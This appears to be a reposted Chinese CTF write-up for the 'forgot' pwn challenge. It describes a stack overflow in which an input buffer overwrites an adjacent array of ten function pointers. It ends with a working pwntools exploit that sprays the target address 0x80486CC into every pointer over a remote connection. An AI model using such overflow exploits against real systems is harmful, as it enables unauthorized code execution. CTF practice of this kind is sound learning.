攻防世界(Pwn) forgot---栈溢出;(方法二)

攻防世界(Pwn) forgot—栈溢出;(方法一) 里面对问题描述的更详细一点

返回目标函数

在这里插入图片描述0x80486CC

方法二(爆破流)

在这里插入图片描述因为最终返回的是 v3[0]-v3[9] 之中的一个函数,
在这里插入图片描述
v3[--v5] v5的值随着for循环 会发生改变
在这里插入图片描述
v2输入是溢出点

在这里插入图片描述
v2,v3两组数据在栈上是相邻的, v2的长度大于 20h之后就会覆盖v3的返回值了

干脆把v3[0]-v3[9]函数全部改为目标函数的地址就可以了:0x80486CC

此时无论v5等于什么,我们都会得到目标 flag

EXP

from pwn import  *
io = remote('111.200.241.244', 59837)
payload = 'H'*0x20 + p32(0x80486cc)*10
io.sendlineafter(">","hhh")
io.sendlineafter(">",payload)
io.interactive()

有问题欢迎留言❄

猜你喜欢

转载自blog.csdn.net/weixin_45556441/article/details/114291427